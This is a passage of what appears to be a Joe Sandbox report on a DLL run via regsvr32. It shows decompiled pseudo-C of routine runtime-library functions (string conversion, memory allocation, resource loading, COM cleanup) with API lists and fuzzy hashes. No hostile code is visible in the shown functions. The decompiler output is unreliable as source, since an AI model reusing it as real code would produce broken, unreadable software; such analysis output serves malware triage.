						__eflags =  *(_t43 + 0x14);
						if( *(_t43 + 0x14) != 0) {
							_t46 = E6EB7166F( *_t73 & 0x000000ff,  &_v20);
							__eflags = _t46;
							if(_t46 == 0) {
								__eflags = _a4;
								_t40 = _v20 + 4; // 0x0
								__eflags = MultiByteToWideChar( *_t40, 9, _t73, 1, _a4, 0 | _a4 != 0x00000000);
								if(__eflags != 0) {
									L10:
									__eflags = _v8;
									if(_v8 != 0) {
										_t53 = _v12;
										_t11 = _t53 + 0x70;
										 *_t11 =  *(_t53 + 0x70) & 0xfffffffd;
										__eflags =  *_t11;
									}
									return 1;
								}
								L21:
								_t54 = E6EB66B6E(__eflags);
								 *_t54 = 0x2a;
								__eflags = _v8;
								if(_v8 != 0) {
									_t54 = _v12;
									_t33 = _t54 + 0x70;
									 *_t33 =  *(_t54 + 0x70) & 0xfffffffd;
									__eflags =  *_t33;
								}
								return _t54 | 0xffffffff;
							}
							_t56 = _v20;
							_t15 = _t56 + 0xac; // 0x0
							_t65 =  *_t15;
							__eflags = _t65 - 1;
							if(_t65 <= 1) {
								L17:
								_t24 = _t56 + 0xac; // 0x0
								__eflags = _a12 -  *_t24;
								if(__eflags < 0) {
									goto L21;
								}
								__eflags = _t73[1];
								if(__eflags == 0) {
									goto L21;
								}
								L19:
								_t26 = _t56 + 0xac; // 0x0
								_t57 =  *_t26;
								__eflags = _v8;
								if(_v8 == 0) {
									return _t57;
								}
								 *((intOrPtr*)(_v12 + 0x70)) =  *(_v12 + 0x70) & 0xfffffffd;
								return _t57;
							}
							__eflags = _a12 - _t65;
							if(_a12 < _t65) {
								goto L17;
							}
							__eflags = _a4;
							_t21 = _t56 + 4; // 0x0
							_t58 = MultiByteToWideChar( *_t21, 9, _t73, _t65, _a4, 0 | _a4 != 0x00000000);
							__eflags = _t58;
							_t56 = _v20;
							if(_t58 != 0) {
								goto L19;
							}
							goto L17;
						}
						_t59 = _a4;
						__eflags = _t59;
						if(_t59 != 0) {
							 *_t59 =  *_t73 & 0x000000ff;
						}
						goto L10;
					} else {
						_t60 = _a4;
						if(_t60 != 0) {
							 *_t60 = 0;
						}
						goto L5;
					}
				}
			}

0x6eb71f4c
0x6eb71f53
0x6eb71f6a
0x00000000
0x6eb71f5a
0x6eb71f5c
0x6eb71f76
0x6eb71f7b
0x6eb71f7e
0x6eb71f81
0x6eb71faa
0x6eb71fb1
0x6eb71fb3
0x6eb72034
0x6eb72046
0x6eb7204f
0x6eb72051
0x6eb71f91
0x6eb71f91
0x6eb71f94
0x6eb71f96
0x6eb71f99
0x6eb71f99
0x6eb71f99
0x6eb71f99
0x00000000
0x6eb71f9f
0x6eb72013
0x6eb72013
0x6eb72018
0x6eb7201e
0x6eb72021
0x6eb72023
0x6eb72026
0x6eb72026
0x6eb72026
0x6eb72026
0x00000000
0x6eb7202a
0x6eb71fb5
0x6eb71fb8
0x6eb71fb8
0x6eb71fbe
0x6eb71fc1
0x6eb71fe8
0x6eb71feb
0x6eb71feb
0x6eb71ff1
0x00000000
0x00000000
0x6eb71ff3
0x6eb71ff6
0x00000000
0x00000000
0x6eb71ff8
0x6eb71ff8
0x6eb71ff8
0x6eb71ffe
0x6eb72001
0x6eb71f6f
0x6eb71f6f
0x6eb7200a
0x00000000
0x6eb7200a
0x6eb71fc3
0x6eb71fc6
0x00000000
0x00000000
0x6eb71fca
0x6eb71fd8
0x6eb71fdb
0x6eb71fe1
0x6eb71fe3
0x6eb71fe6
0x00000000
0x00000000
0x00000000
0x6eb71fe6
0x6eb71f83
0x6eb71f86
0x6eb71f88
0x6eb71f8e
0x6eb71f8e
0x00000000
0x6eb71f5e
0x6eb71f5e
0x6eb71f63
0x6eb71f67
0x6eb71f67
0x00000000
0x6eb71f63
0x6eb71f5c

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 6EB71F76
__isleadbyte_l.LIBCMT ref: 6EB71FAA
MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000000,00000000,00000000,?,?,?,6EB85358,00000000,00000000,00000020), ref: 6EB71FDB
MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000001,00000000,00000000,?,?,?,6EB85358,00000000,00000000,00000020), ref: 6EB72049

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 10dbc57f6173d7b82f4c6931a0246ccd7f5f231f4919ae4d3515bb303fd18665
Instruction ID: b84034525f8a1fd598d65875fdbe0a3bab7b0894820309788df29fd0b2a1c25c
Opcode Fuzzy Hash: 10dbc57f6173d7b82f4c6931a0246ccd7f5f231f4919ae4d3515bb303fd18665
Instruction Fuzzy Hash: 52317A31A14296EFDF20DFA4C8A49AE3FA5EF01310F1985A9E4B19F491D331D944DB60

Uniqueness

Uniqueness Score: -1.00%

Function 6EB56350 Relevance: 6.1, APIs: 4, Instructions: 89
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E6EB56350(void* __ecx, void* __edx, void* __edi, void* __eflags, signed int _a4) {
				void* __ebx;
				void* __esi;
				void* __ebp;
				intOrPtr _t29;
				intOrPtr _t32;
				intOrPtr _t35;
				intOrPtr _t36;
				intOrPtr _t37;
				signed int _t39;
				void* _t47;
				intOrPtr* _t48;
				void* _t50;
				void* _t51;
				void* _t64;
				void* _t65;
				intOrPtr _t66;
				void* _t68;
				void* _t70;

				_t65 = __edi;
				_t64 = __edx;
				_t51 = E6EB53D53(_t50, __ecx, __edi, _t68, __eflags);
				_t29 =  *((intOrPtr*)(_t51 + 0x10));
				if(_t29 == 0) {
					L19:
					return 0 |  *((intOrPtr*)(_t51 + 0x10)) != 0x00000000;
				}
				_t32 = _t29 - 1;
				 *((intOrPtr*)(_t51 + 0x10)) = _t32;
				if(_t32 != 0) {
					goto L19;
				}
				if(_a4 == 0) {
					L8:
					_push(_t65);
					_t66 =  *((intOrPtr*)(E6EB53D20(_t51, _t65, 0, _t77) + 4));
					_t70 = E6EB555E7(0x6eb8c6e8);
					if(_t70 == 0 || _t66 == 0) {
						L18:
						goto L19;
					} else {
						_t35 =  *((intOrPtr*)(_t70 + 0xc));
						_t80 = _t35;
						if(_t35 == 0) {
							L12:
							if( *((intOrPtr*)(_t66 + 0x98)) != 0) {
								_t36 =  *((intOrPtr*)(_t70 + 0xc));
								_a4 = _a4 & 0x00000000;
								_t83 = _t36;
								if(_t36 != 0) {
									_push(_t36);
									_t39 = E6EB675B3(_t51, _t64, _t66, _t70, _t83);
									_push( *((intOrPtr*)(_t70 + 0xc)));
									_a4 = _t39;
									E6EB642E6(_t51, _t66, _t70, _t83);
								}
								_t37 = E6EB643C3(_t51, _t64, _t66,  *((intOrPtr*)(_t66 + 0x98)));
								 *((intOrPtr*)(_t70 + 0xc)) = _t37;
								if(_t37 == 0 && _a4 != _t37) {
									 *((intOrPtr*)(_t70 + 0xc)) = E6EB643C3(_t51, _t64, _t66, _a4);
								}
							}
							goto L18;
						}
						_push(_t35);
						if(E6EB675B3(_t51, _t64, _t66, _t70, _t80) >=  *((intOrPtr*)(_t66 + 0x98))) {
							goto L18;
						}
						goto L12;
					}
				}
				if(_a4 != 0xffffffff) {
					_t47 = E6EB522D1();
					if(_t47 != 0) {
						_t48 =  *((intOrPtr*)(_t47 + 0x3c));
						_t77 = _t48;
						if(_t48 != 0) {
							 *_t48(0, 0);
						}
					}
				}
				E6EB5627D(_t51,  *((intOrPtr*)(_t51 + 0x20)), _t65);
				E6EB5627D(_t51,  *((intOrPtr*)(_t51 + 0x1c)), _t65);
				E6EB5627D(_t51,  *((intOrPtr*)(_t51 + 0x18)), _t65);
				E6EB5627D(_t51,  *((intOrPtr*)(_t51 + 0x14)), _t65);
				E6EB5627D(_t51,  *((intOrPtr*)(_t51 + 0x24)), _t65);
				goto L8;
			}

0x6eb56350
0x6eb56350
0x6eb5635c
0x6eb5635e
0x6eb56365
0x6eb5643d
0x6eb56448
0x6eb56448
0x6eb5636b
0x6eb5636c
0x6eb56371
0x00000000
0x00000000
0x6eb5637a
0x6eb563be
0x6eb563be
0x6eb563c4
0x6eb563d1
0x6eb563d5
0x6eb5643c
0x00000000
0x6eb563db
0x6eb563db
0x6eb563de
0x6eb563e0
0x6eb563f1
0x6eb563f8
0x6eb563fa
0x6eb563fd
0x6eb56401
0x6eb56403
0x6eb56405
0x6eb56406
0x6eb5640b
0x6eb5640e
0x6eb56411
0x6eb56417
0x6eb5641e
0x6eb56424
0x6eb56429
0x6eb56439
0x6eb56439
0x6eb56429
0x00000000
0x6eb563f8
0x6eb563e2
0x6eb563ef
0x00000000
0x00000000
0x00000000
0x6eb563ef
0x6eb563d5
0x6eb56380
0x6eb56382
0x6eb56389
0x6eb5638b
0x6eb5638e
0x6eb56390
0x6eb56394
0x6eb56394
0x6eb56390
0x6eb56389
0x6eb56399
0x6eb563a1
0x6eb563a9
0x6eb563b1
0x6eb563b9
0x00000000

APIs

__msize.LIBCMT ref: 6EB563E3
__msize.LIBCMT ref: 6EB56406
_malloc.LIBCMT ref: 6EB5641E
_malloc.LIBCMT ref: 6EB56433

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: __msize_malloc
String ID:
API String ID: 1288803200-0
Opcode ID: 85750abc150a0b7a97fddf2cc803caddc84319670945c86def88412e41d67883
Instruction ID: 911f5cb27f95d5b7462ddbb6a14a4dcbd62c3a1b515f0bbe97623af1df5f4c7d
Opcode Fuzzy Hash: 85750abc150a0b7a97fddf2cc803caddc84319670945c86def88412e41d67883
Instruction Fuzzy Hash: 0921D7306306919FDB559FF4D890AAE7FA8EF00754B208D25D828CB369DB31D8A1CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6EB578F4 Relevance: 6.1, APIs: 4, Instructions: 74
COMMON

Download Yara Rule

C-Code - Quality: 17%

			E6EB578F4(intOrPtr __ebx, intOrPtr* __ecx, intOrPtr __esi, intOrPtr _a4, signed int* _a8, intOrPtr _a12) {
				signed int _v8;
				signed char _v264;
				void* __edi;
				signed int _t11;
				signed int _t14;
				void* _t16;
				char _t19;
				signed int _t22;
				intOrPtr _t23;
				signed int* _t35;
				intOrPtr _t36;
				CHAR* _t38;
				signed int _t42;

				_t37 = __esi;
				_t26 = __ebx;
				_t40 = _t42;
				_t11 =  *0x6eb89470; // 0x6287ae78
				_v8 = _t11 ^ _t42;
				_t35 = _a8;
				_push(0x100);
				_t33 =  &_v264;
				_push( &_v264);
				_push(_a4);
				_t14 =  *((intOrPtr*)( *__ecx + 0x7c))();
				if(_t14 != 0) {
					_push(__ebx);
					_push(__esi);
					_t38 =  &_v264;
					_t16 = E6EB67E83(_v264 & 0x000000ff);
					while(_t16 != 0) {
						_t38 = CharNextA(_t38);
						_t16 = E6EB67E83( *_t38 & 0x000000ff);
					}
					_t19 =  *_t38;
					if(_t19 == 0x2b || _t19 == 0x2d) {
						_t38 = CharNextA(_t38);
					}
					_t22 = E6EB67DAC( *_t38 & 0x000000ff);
					_pop(_t37);
					_pop(_t26);
					if(_t35 != 0) {
						 *_t35 = _t22;
					}
					if(_t22 == 0) {
						goto L4;
					} else {
						_push(0xa);
						_push(0);
						_push( &_v264);
						if(_a12 == 0) {
							_t23 = E6EB67CB9();
						} else {
							_t23 = E6EB67C8E();
						}
					}
				} else {
					if(_t35 != 0) {
						 *_t35 =  *_t35 & _t14;
					}
					L4:
					_t23 = 0;
				}
				_pop(_t36);
				return E6EB63DE0(_t23, _t26, _v8 ^ _t40, _t33, _t36, _t37);
			}

0x6eb578f4
0x6eb578f4
0x6eb578f7
0x6eb578ff
0x6eb57906
0x6eb5790c
0x6eb5790f
0x6eb57914
0x6eb5791a
0x6eb5791b
0x6eb5791e
0x6eb57923
0x6eb57936
0x6eb57937
0x6eb57939
0x6eb5793f
0x6eb5795a
0x6eb5794f
0x6eb57955
0x6eb57955
0x6eb5795f
0x6eb57963
0x6eb5796c
0x6eb5796c
0x6eb57972
0x6eb57978
0x6eb57979
0x6eb5797c
0x6eb5797e
0x6eb5797e
0x6eb57982
0x00000000
0x6eb57984
0x6eb57988
0x6eb57990
0x6eb57992
0x6eb57993
0x6eb5799c
0x6eb57995
0x6eb57995
0x6eb57995
0x6eb579a1
0x6eb57925
0x6eb57927
0x6eb57929
0x6eb57929
0x6eb5792b
0x6eb5792b
0x6eb5792b
0x6eb579a9
0x6eb579b0

APIs

CharNextA.USER32(?), ref: 6EB5794D

Part of subcall function 6EB67E83: __ismbcspace_l.LIBCMT ref: 6EB67E8D

CharNextA.USER32(00000000), ref: 6EB5796A
__wcstoi64.LIBCMT ref: 6EB57995
__wcstoui64.LIBCMT ref: 6EB5799C

Part of subcall function 6EB67CB9: strtoxl.LIBCMT ref: 6EB67CDB

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: CharNext$__ismbcspace_l__wcstoi64__wcstoui64strtoxl
String ID:
API String ID: 1826523842-0
Opcode ID: ae05b3ff99e4ff3b1a1e48db508b1e78bcbb61d249b9abf87028a7f443457272
Instruction ID: 974a6ee5a46086babe6acac37de72d112873475713a12a89da57eb78778881bb
Opcode Fuzzy Hash: ae05b3ff99e4ff3b1a1e48db508b1e78bcbb61d249b9abf87028a7f443457272
Instruction Fuzzy Hash: 2C21DE716102A6EBCB109EB98C40BEE7FF9AF56310F104495E594D7280EBB0C9918AB1

Uniqueness

Uniqueness Score: -1.00%

Function 6EB5C6FF Relevance: 6.1, APIs: 4, Instructions: 71
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 37%

			E6EB5C6FF(signed int _a4, signed int _a8, intOrPtr _a12) {
				void* _t15;
				signed int _t17;
				void* _t18;
				void* _t19;
				signed int _t23;
				signed int* _t31;

				_t31 = _a8;
				if(_t31 == 0) {
					return _t15;
				}
				_t23 = _a4;
				if((_t23 & 0x00002000) == 0) {
					_t17 = (_t23 & 0x0000ffff) - 8;
					if(_t17 == 0) {
						__imp__#6( *_t31);
						L16:
						 *_t31 =  *_t31 & 0x00000000;
						L17:
						if((_t23 & 0x00001000) != 0 &&  !(_t23 & 0x00004000) != 0) {
							__imp__CoTaskMemFree(_t31[1]);
						}
						return _t17;
					}
					_t18 = _t17 - 1;
					if(_t18 == 0) {
						L13:
						_t17 =  *_t31;
						if(_t17 == 0) {
							goto L17;
						}
						_t17 =  *((intOrPtr*)( *_t17 + 8))(_t17);
						goto L16;
					}
					_t17 = _t18 - 3;
					if(_t17 == 0) {
						__imp__#9(_t31);
						goto L17;
					}
					_t19 = _t17 - 1;
					if(_t19 == 0) {
						goto L13;
					} else {
						_t17 = _t19 - 0x7b;
						if(_t17 == 0) {
							E6EB5C68A( &_a8, _a12);
							_t17 = _a8;
							if(_t17 != 0) {
								 *((intOrPtr*)( *_t17 + 0x10))(_t17,  *_t31, 0);
								_t17 = _a8;
								if(_t17 != 0) {
									_t17 =  *((intOrPtr*)( *_t17 + 8))(_t17);
								}
							}
						}
						goto L17;
					}
				}
				_t17 =  *_t31;
				if(_t17 == 0) {
					goto L17;
				} else {
					__imp__#16(_t17);
					goto L16;
				}
			}

0x6eb5c705
0x6eb5c70a
0x6eb5c7b0
0x6eb5c7b0
0x6eb5c711
0x6eb5c71a
0x6eb5c72e
0x6eb5c731
0x6eb5c787
0x6eb5c78d
0x6eb5c78d
0x6eb5c790
0x6eb5c796
0x6eb5c7a7
0x6eb5c7a7
0x00000000
0x6eb5c7ad
0x6eb5c733
0x6eb5c734
0x6eb5c777
0x6eb5c777
0x6eb5c77b
0x00000000
0x00000000
0x6eb5c780
0x00000000
0x6eb5c780
0x6eb5c736
0x6eb5c739
0x6eb5c76f
0x00000000
0x6eb5c76f
0x6eb5c73b
0x6eb5c73c
0x00000000
0x6eb5c73e
0x6eb5c73e
0x6eb5c741
0x6eb5c749
0x6eb5c74e
0x6eb5c753
0x6eb5c75c
0x6eb5c75f
0x6eb5c764
0x6eb5c769
0x6eb5c769
0x6eb5c764
0x6eb5c753
0x00000000
0x6eb5c741
0x6eb5c73c
0x6eb5c71c
0x6eb5c720
0x00000000
0x6eb5c722
0x6eb5c723
0x00000000
0x6eb5c723

APIs

SafeArrayDestroy.OLEAUT32 ref: 6EB5C723
CoTaskMemFree.OLE32(?), ref: 6EB5C7A7

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: ArrayDestroyFreeSafeTask
String ID:
API String ID: 3253174383-0
Opcode ID: 4fece9f19c7a42c49158e9bb788e79156218f5c378b60e9e0ab08974e8f21add
Instruction ID: 09594df3ce8f930a9753588e7bdfa20829d29518224c3df6cb5f32d3e8e9e0dc
Opcode Fuzzy Hash: 4fece9f19c7a42c49158e9bb788e79156218f5c378b60e9e0ab08974e8f21add
Instruction Fuzzy Hash: 60116A301106869BEF859FE5C898B6A7FAAEF16350F10441CFA69CFA90CB35D920CF50

Uniqueness

Uniqueness Score: -1.00%

Function 6EB476E0 Relevance: 6.1, APIs: 4, Instructions: 61
windowCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E6EB476E0(void* __ebx, void* __ecx, struct tagPOINT _a8, intOrPtr _a12) {
				char _v12;
				signed int _v16;
				intOrPtr _v20;
				void* __edi;
				int _t22;
				void* _t54;

				_t54 = __ecx;
				_t38 = _a8.x;
				_push(_a12);
				_t22 = PtInRect(__ecx + 0x60, _a8.x);
				_t60 = _t22;
				if(_t22 == 0) {
					E6EB47830(_t54,  &_v12, _a8, _a12);
					 *((intOrPtr*)(_t54 + 0x5c)) =  *((intOrPtr*)( *((intOrPtr*)(_t54 + 0x58)) + (_v20 + (_v16 + _v16 * 2) * 8) * 4));
					SendMessageA( *(E6EB4C72D(__ebx,  *((intOrPtr*)( *((intOrPtr*)(_t54 + 0x58)) + (_v20 + (_v16 + _v16 * 2) * 8) * 4)), GetParent( *(_t54 + 0x20))) + 0x20), 0x401, 1, 0);
					return E6EB4C687(_t54, __eflags);
				} else {
					 *(_t54 + 0x54) = 1;
					E6EB4C72D(__ebx, _t38, SetCapture( *(_t54 + 0x20)));
					return E6EB4C687(_t54, _t60);
				}
			}

0x6eb476ee
0x6eb476f0
0x6eb476f3
0x6eb476f9
0x6eb476ff
0x6eb47701
0x6eb47737
0x6eb47754
0x6eb47770
0x6eb47782
0x6eb47703
0x6eb47707
0x6eb47715
0x6eb47726
0x6eb47726

APIs

PtInRect.USER32(?,?,?), ref: 6EB476F9
SetCapture.USER32 ref: 6EB4770E
GetParent.USER32(?), ref: 6EB47757
SendMessageA.USER32 ref: 6EB47770

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: CaptureMessageParentRectSend
String ID:
API String ID: 2415874315-0
Opcode ID: aaf45948cc86680355c795fc528727d13d3004d3cb584c19a919ee30b2f8c505
Instruction ID: bed95845dd85c0796732d38836b1ff5e359afa0bd67a44b6447e59c5605935d7
Opcode Fuzzy Hash: aaf45948cc86680355c795fc528727d13d3004d3cb584c19a919ee30b2f8c505
Instruction Fuzzy Hash: 3611B1B62107549FCB20CFA8D844DAE77ADEB88710F00890DFA558B290CB71E904CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6EB52E51 Relevance: 6.1, APIs: 4, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E6EB52E51(void* __ecx) {
				void* _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t24;
				void* _t29;
				void* _t31;
				struct HINSTANCE__* _t33;
				signed int _t35;
				signed int _t36;
				void* _t38;
				signed int* _t41;

				_push(__ecx);
				_push(_t29);
				_t38 = __ecx;
				_t43 =  *((intOrPtr*)(__ecx + 0x58));
				_t41 =  *(__ecx + 0x60);
				_v8 =  *((intOrPtr*)(__ecx + 0x5c));
				if( *((intOrPtr*)(__ecx + 0x58)) != 0) {
					_t33 =  *(E6EB53D20(_t29, __ecx, _t41, _t43) + 0xc);
					_v8 = LoadResource(_t33, FindResourceA(_t33,  *(_t38 + 0x58), 5));
				}
				if(_v8 != 0) {
					_t41 = LockResource(_v8);
				}
				_t31 = 1;
				if(_t41 != 0) {
					_t36 =  *_t41;
					if(_t41[0] != 0xffff) {
						_t24 = _t41[2] & 0x0000ffff;
						_t35 = _t41[3] & 0x0000ffff;
					} else {
						_t36 = _t41[3];
						_t24 = _t41[4] & 0x0000ffff;
						_t35 = _t41[5] & 0x0000ffff;
					}
					if((_t36 & 0x00001801) != 0 || _t24 != 0 || _t35 != 0) {
						_t31 = 0;
					}
				}
				if( *(_t38 + 0x58) != 0) {
					FreeResource(_v8);
				}
				return _t31;
			}

0x6eb52e56
0x6eb52e57
0x6eb52e5a
0x6eb52e5c
0x6eb52e63
0x6eb52e66
0x6eb52e69
0x6eb52e70
0x6eb52e87
0x6eb52e87
0x6eb52e8e
0x6eb52e99
0x6eb52e99
0x6eb52e9d
0x6eb52ea0
0x6eb52ea2
0x6eb52ead
0x6eb52ebc
0x6eb52ec0
0x6eb52eaf
0x6eb52eaf
0x6eb52eb2
0x6eb52eb6
0x6eb52eb6
0x6eb52eca
0x6eb52ed6
0x6eb52ed6
0x6eb52eca
0x6eb52edc
0x6eb52ee1
0x6eb52ee1
0x6eb52eed

APIs

FindResourceA.KERNEL32(?,00000000,00000005), ref: 6EB52E79
LoadResource.KERNEL32(?,00000000), ref: 6EB52E81
LockResource.KERNEL32(00000000), ref: 6EB52E93
FreeResource.KERNEL32(00000000), ref: 6EB52EE1

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: Resource$FindFreeLoadLock
String ID:
API String ID: 1078018258-0
Opcode ID: bb948cfddf53ad5d11d2aa9cee12fb8993abbbb4c2a37992dd0044959cf5e44a
Instruction ID: 9e106a23ddb4f5e19b62e3fe5a1aaeda22b1f07587976b82618670d057d1cf90
Opcode Fuzzy Hash: bb948cfddf53ad5d11d2aa9cee12fb8993abbbb4c2a37992dd0044959cf5e44a
Instruction Fuzzy Hash: 0711B2351017A5EFDB509FD1D844AA6BBB4FF05315F20842DE84253B40D774DD60D760

Uniqueness

Uniqueness Score: -1.00%

Function 6EB48DE3 Relevance: 6.1, APIs: 4, Instructions: 59
windowCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E6EB48DE3(void* __ebx, void* __edi, void* __esi, void* __eflags, void* _a4, intOrPtr _a8, char _a12) {
				intOrPtr* _v0;
				void* _v4;
				signed int _v8;
				intOrPtr _v16;
				void* _t20;
				intOrPtr* _t23;
				void* _t29;
				void* _t31;
				intOrPtr _t35;
				char _t36;
				void* _t44;

				_t44 = __eflags;
				_t38 = __esi;
				_t37 = __edi;
				_t31 = __ebx;
				_push(4);
				E6EB664FB(0x6eb7742d, __ebx, __edi, __esi);
				_t35 = E6EB47C96(_t44, 0xc);
				_v16 = _t35;
				_t20 = 0;
				_v4 = 0;
				if(_t35 != 0) {
					_t20 = E6EB48D89(_t35);
				}
				_t36 = _a4;
				_v8 = _v8 | 0xffffffff;
				 *((intOrPtr*)(_t20 + 8)) = _t36;
				_a4 = _t20;
				E6EB667FC( &_a4, 0x6eb8329c);
				asm("int3");
				_t23 = _v0;
				_push(_t31);
				if(_t23 != 0) {
					 *_t23 = 0;
				}
				if(FormatMessageA(0x1100, 0,  *(_t36 + 8), 0x800,  &_a12, 0, 0) != 0) {
					E6EB48C1B(0, _t36, _t37, _t38, _a4, _a8, _a12, 0xffffffff);
					LocalFree(_a12);
					_t29 = 1;
					__eflags = 1;
				} else {
					 *_a4 = 0;
					_t29 = 0;
				}
				return _t29;
			}

0x6eb48de3
0x6eb48de3
0x6eb48de3
0x6eb48de3
0x6eb48de3
0x6eb48dea
0x6eb48df7
0x6eb48df9
0x6eb48dfc
0x6eb48dfe
0x6eb48e03
0x6eb48e05
0x6eb48e05
0x6eb48e0a
0x6eb48e0d
0x6eb48e11
0x6eb48e14
0x6eb48e20
0x6eb48e25
0x6eb48e2b
0x6eb48e2e
0x6eb48e33
0x6eb48e35
0x6eb48e35
0x6eb48e53
0x6eb48e69
0x6eb48e74
0x6eb48e7c
0x6eb48e7c
0x6eb48e55
0x6eb48e58
0x6eb48e5a
0x6eb48e5a
0x6eb48e7f

APIs

__EH_prolog3.LIBCMT ref: 6EB48DEA

Part of subcall function 6EB47C96: _malloc.LIBCMT ref: 6EB47CB4

__CxxThrowException@8.LIBCMT ref: 6EB48E20
FormatMessageA.KERNEL32(00001100,00000000,?,00000800,6EB41016,00000000,00000000,00000000,?,00000000,6EB8329C,00000004,6EB41016,00000000,6EB4849C,00000000), ref: 6EB48E4B

Part of subcall function 6EB48C1B: __cftof.LIBCMT ref: 6EB48C2C

LocalFree.KERNEL32(6EB41016,6EB41016,00000000,6EB4849C,00000000,00000000,00000000), ref: 6EB48E74

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: Exception@8FormatFreeH_prolog3LocalMessageThrow__cftof_malloc
String ID:
API String ID: 1808948168-0
